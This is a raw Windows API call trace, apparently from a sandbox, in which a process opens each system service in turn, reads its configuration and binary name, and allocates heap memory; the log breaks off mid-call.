[0027.944] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ehsched", cchWideChar=7, lpMultiByteStr=0x54c4b8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ehsched", lpUsedDefaultChar=0x0) returned 7 [0027.944] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x54c500 [0027.944] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x54c4b8) returned 1 [0027.944] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x54c500) returned 1 [0027.944] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x503df0) returned 1 [0027.944] OpenServiceW (hSCManager=0x6637d8, lpServiceName="ehSched", dwDesiredAccess=0x1) returned 0x6638a0 [0027.944] CloseServiceHandle (hSCObject=0x6639b8) returned 1 [0027.944] QueryServiceConfigW (in: hService=0x6638a0, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x34f468) returned 0 [0027.945] GetLastError () returned 0x7a [0027.945] QueryServiceConfigW (in: hService=0x6638a0, lpServiceConfig=0x502850, cbBufSize=0x134, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x502850, pcbBytesNeeded=0x34f468) returned 1 [0027.945] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x503df0 [0027.945] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x503e78 [0027.945] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x503df0) returned 1 [0027.945] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x503e78) returned 1 [0027.945] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x503e78 [0027.945] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ehsched.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0027.945] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x54c500 [0027.945] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ehsched.exe", cchWideChar=11, lpMultiByteStr=0x54c500, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ehsched.exe", lpUsedDefaultChar=0x0) returned 11 [0027.945] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x54c4b8 [0027.945] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x54c500) returned 1 [0027.945] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x54c4b8) returned 1 [0027.945] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x503e78) returned 1 [0027.945] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0xc0) returned 0x54d3c8 [0027.945] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x54b028) returned 1 [0027.945] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x54c4b8 [0027.945] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x54b028 [0027.945] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x54c0a0 [0027.945] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x503e78 [0027.945] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x503df0 [0027.945] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x503f00 [0027.945] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventlog", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0027.945] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x54c500 [0027.945] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventlog", cchWideChar=8, lpMultiByteStr=0x54c500, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eventlog", lpUsedDefaultChar=0x0) returned 8 [0027.946] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x54c548 [0027.946] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x54c500) returned 1 [0027.946] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x54c548) returned 1 [0027.946] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x503f00) returned 1 [0027.946] OpenServiceW (hSCManager=0x6637d8, lpServiceName="eventlog", dwDesiredAccess=0x1) returned 0x663968 [0027.946] CloseServiceHandle (hSCObject=0x6638a0) returned 1 [0027.946] QueryServiceConfigW (in: hService=0x663968, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x34f468) returned 0 [0027.946] GetLastError () returned 0x7a [0027.946] QueryServiceConfigW (in: hService=0x663968, lpServiceConfig=0x502850, cbBufSize=0x156, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x502850, pcbBytesNeeded=0x34f468) returned 1 [0027.946] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x100) returned 0x54d490 [0027.946] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x54b028) returned 1 [0027.946] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x54b028 [0027.947] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x503f00 [0027.947] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x54b028) returned 1 [0027.947] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x503f00) returned 1 [0027.947] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x503f00 [0027.947] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0027.947] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x54c548, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0027.947] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventsystem", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0027.947] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventsystem", cchWideChar=11, lpMultiByteStr=0x54c548, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eventsystem", lpUsedDefaultChar=0x0) returned 11 [0027.947] OpenServiceW (hSCManager=0x6637d8, lpServiceName="EventSystem", dwDesiredAccess=0x1) returned 0x6638c8 [0027.947] CloseServiceHandle (hSCObject=0x663968) returned 1 [0027.947] QueryServiceConfigW (in: hService=0x6638c8, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x34f468) returned 0 [0027.947] GetLastError () returned 0x7a [0027.947] QueryServiceConfigW (in: hService=0x6638c8, lpServiceConfig=0x502850, cbBufSize=0x12c, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x502850, pcbBytesNeeded=0x34f468) returned 1 [0027.948] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0027.948] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x54c590, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0027.948] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fax", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0027.948] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fax", cchWideChar=3, lpMultiByteStr=0x54c590, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fax", lpUsedDefaultChar=0x0) returned 3 [0027.948] OpenServiceW (hSCManager=0x6637d8, lpServiceName="Fax", dwDesiredAccess=0x1) returned 0x6639b8 [0027.948] CloseServiceHandle (hSCObject=0x6638c8) returned 1 [0027.948] QueryServiceConfigW (in: hService=0x6639b8, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x34f468) returned 0 [0027.948] GetLastError () returned 0x7a [0027.948] QueryServiceConfigW (in: hService=0x6639b8, lpServiceConfig=0x502850, cbBufSize=0x124, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x502850, pcbBytesNeeded=0x34f468) returned 1 [0027.949] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fxssvc.exe", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0027.949] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fxssvc.exe", cchWideChar=10, lpMultiByteStr=0x54c5d8, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fxssvc.exe", lpUsedDefaultChar=0x0) returned 10 [0027.949] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fdphost", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0027.949] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fdphost", cchWideChar=7, lpMultiByteStr=0x54c5d8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fdphost", lpUsedDefaultChar=0x0) returned 7 [0027.949] OpenServiceW (hSCManager=0x6637d8, lpServiceName="fdPHost", dwDesiredAccess=0x1) returned 0x6638a0 [0027.949] CloseServiceHandle (hSCObject=0x6639b8) returned 1 [0027.949] QueryServiceConfigW (in: hService=0x6638a0, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x34f468) returned 0 [0027.949] GetLastError () returned 0x7a [0027.949] QueryServiceConfigW (in: hService=0x6638a0, lpServiceConfig=0x502850, cbBufSize=0x154, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x502850, pcbBytesNeeded=0x34f468) returned 1 [0027.950] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0027.950] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x54c620, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0027.950] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fdrespub", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0027.950] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fdrespub", cchWideChar=8, lpMultiByteStr=0x54c620, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fdrespub", lpUsedDefaultChar=0x0) returned 8 [0027.950] OpenServiceW (hSCManager=0x6637d8, lpServiceName="FDResPub", dwDesiredAccess=0x1) returned 0x663968 [0027.950] CloseServiceHandle (hSCObject=0x6638a0) returned 1 [0027.950] QueryServiceConfigW (in: hService=0x663968, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x34f468) returned 0 [0027.950] GetLastError () returned 0x7a [0027.950] QueryServiceConfigW (in: hService=0x663968, lpServiceConfig=0x502850, cbBufSize=0x186, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x502850, pcbBytesNeeded=0x34f468) returned 1 [0027.951] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0027.951] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x54c668, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0027.951] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fontcache", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0027.951] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fontcache", cchWideChar=9, lpMultiByteStr=0x54c668, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fontcache", lpUsedDefaultChar=0x0) returned 9 [0027.951] OpenServiceW (hSCManager=0x6637d8, lpServiceName="FontCache", dwDesiredAccess=0x1) returned 0x6638c8 [0027.951] CloseServiceHandle (hSCObject=0x663968) returned 1 [0027.952] QueryServiceConfigW (in: hService=0x6638c8, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x34f468) returned 0 [0027.952] GetLastError () returned 0x7a [0027.952] QueryServiceConfigW (in: hService=0x6638c8, lpServiceConfig=0x502850, cbBufSize=0x158, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x502850, pcbBytesNeeded=0x34f468) returned 1 [0027.952] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0027.952] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x54c6b0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0027.952] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fontcache3.0.0.0", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0027.952] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fontcache3.0.0.0", cchWideChar=16, lpMultiByteStr=0x54c6b0, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fontcache3.0.0.0", lpUsedDefaultChar=0x0) returned 16 [0027.952] OpenServiceW (hSCManager=0x6637d8, lpServiceName="FontCache3.0.0.0", dwDesiredAccess=0x1) returned 0x6639b8 [0027.952] CloseServiceHandle (hSCObject=0x6638c8) returned 1 [0027.953] QueryServiceConfigW (in: hService=0x6639b8, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x34f468) returned 0 [0027.953] GetLastError () returned 0x7a [0027.953] QueryServiceConfigW (in: hService=0x6639b8, lpServiceConfig=0x502850, cbBufSize=0x194, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x502850, pcbBytesNeeded=0x34f468) returned 1 [0027.953] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="presentationfontcache.exe", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0027.953] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="presentationfontcache.exe", cchWideChar=25, lpMultiByteStr=0x54c6f8, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="presentationfontcache.exe", lpUsedDefaultChar=0x0) returned 25 [0027.953] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gpsvc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0027.953] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gpsvc", cchWideChar=5, lpMultiByteStr=0x54c6f8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gpsvc", lpUsedDefaultChar=0x0) returned 5 [0027.953] OpenServiceW (hSCManager=0x6637d8, lpServiceName="gpsvc", dwDesiredAccess=0x1) returned 0x6638a0 [0027.953] CloseServiceHandle (hSCObject=0x6639b8) returned 1 [0027.953] QueryServiceConfigW (in: hService=0x6638a0, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x34f468) returned 0 [0027.954] GetLastError () returned 0x7a [0027.954] QueryServiceConfigW (in: hService=0x6638a0, lpServiceConfig=0x502850, cbBufSize=0x12c, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x502850, pcbBytesNeeded=0x34f468) returned 1 [0027.954] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0027.954] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x54c740, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0027.954] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gupdate", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0027.954] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gupdate", cchWideChar=7, lpMultiByteStr=0x54c740, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gupdate", lpUsedDefaultChar=0x0) returned 7 [0027.954] OpenServiceW (hSCManager=0x6637d8, lpServiceName="gupdate", dwDesiredAccess=0x1) returned 0x663968 [0027.954] CloseServiceHandle (hSCObject=0x6638a0) returned 1 [0027.954] QueryServiceConfigW (in: hService=0x663968, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x34f468) returned 0 [0027.955] GetLastError () returned 0x7a [0027.955] QueryServiceConfigW (in: hService=0x663968, lpServiceConfig=0x502850, cbBufSize=0x146, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x502850, pcbBytesNeeded=0x34f468) returned 1 [0027.955] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="googleupdate.exe", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0027.955] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="googleupdate.exe", cchWideChar=16, lpMultiByteStr=0x54c788, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="googleupdate.exe", lpUsedDefaultChar=0x0) returned 16 [0027.955] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gupdatem", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0027.955] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gupdatem", cchWideChar=8, lpMultiByteStr=0x54c788, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gupdatem", lpUsedDefaultChar=0x0) returned 8 [0027.955] OpenServiceW (hSCManager=0x6637d8, lpServiceName="gupdatem", dwDesiredAccess=0x1) returned 0x6638c8 [0027.955] CloseServiceHandle (hSCObject=0x663968) returned 1 [0027.955] QueryServiceConfigW (in: hService=0x6638c8, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x34f468) returned 0 [0027.956] GetLastError () returned 0x7a [0027.956] QueryServiceConfigW (in: hService=0x6638c8, lpServiceConfig=0x502850, cbBufSize=0x14e, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x502850, pcbBytesNeeded=0x34f468) returned 1 [0027.956] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="googleupdate.exe", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0027.956] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="googleupdate.exe", cchWideChar=16, lpMultiByteStr=0x54c7d0, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="googleupdate.exe", lpUsedDefaultChar=0x0) returned 16 [0027.956] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hidserv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0027.956] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hidserv", cchWideChar=7, lpMultiByteStr=0x54c7d0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hidserv", lpUsedDefaultChar=0x0) returned 7 [0027.956] OpenServiceW (hSCManager=0x6637d8, lpServiceName="hidserv", dwDesiredAccess=0x1) returned 0x6639b8 [0027.956] CloseServiceHandle (hSCObject=0x6638c8) returned 1 [0027.956] QueryServiceConfigW (in: hService=0x6639b8, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x34f468) returned 0 [0027.957] GetLastError () returned 0x7a [0027.957] QueryServiceConfigW (in: hService=0x6639b8, lpServiceConfig=0x502850, cbBufSize=0x13e, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x502850, pcbBytesNeeded=0x34f468) returned 1 [0027.957] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0027.957] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x54c818, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0027.957] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hkmsvc", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0027.957] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hkmsvc", cchWideChar=6, lpMultiByteStr=0x54c818, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hkmsvc", lpUsedDefaultChar=0x0) returned 6 [0027.957] OpenServiceW (hSCManager=0x6637d8, lpServiceName="hkmsvc", dwDesiredAccess=0x1) returned 0x6638a0 [0027.957] CloseServiceHandle (hSCObject=0x6639b8) returned 1 [0027.957] QueryServiceConfigW (in: hService=0x6638a0, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x34f468) returned 0 [0027.957] GetLastError () returned 0x7a [0027.957] QueryServiceConfigW (in: hService=0x6638a0, lpServiceConfig=0x502850, cbBufSize=0x12e, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x502850, pcbBytesNeeded=0x34f468) returned 1 [0027.958] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0027.958] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x54c860, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0027.958] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="homegrouplistener", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0027.958] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="homegrouplistener", cchWideChar=17, lpMultiByteStr=0x54c860, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="homegrouplistener", lpUsedDefaultChar=0x0) returned 17 [0027.958] OpenServiceW (hSCManager=0x6637d8, lpServiceName="HomeGroupListener", dwDesiredAccess=0x1) returned 0x663968 [0027.958] CloseServiceHandle (hSCObject=0x6638a0) returned 1 [0027.958] QueryServiceConfigW (in: hService=0x663968, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x34f468) returned 0 [0027.959] GetLastError () returned 0x7a [0027.959] QueryServiceConfigW (in: hService=0x663968, lpServiceConfig=0x502850, cbBufSize=0x140, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x502850, pcbBytesNeeded=0x34f468) returned 1 [0027.959] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: 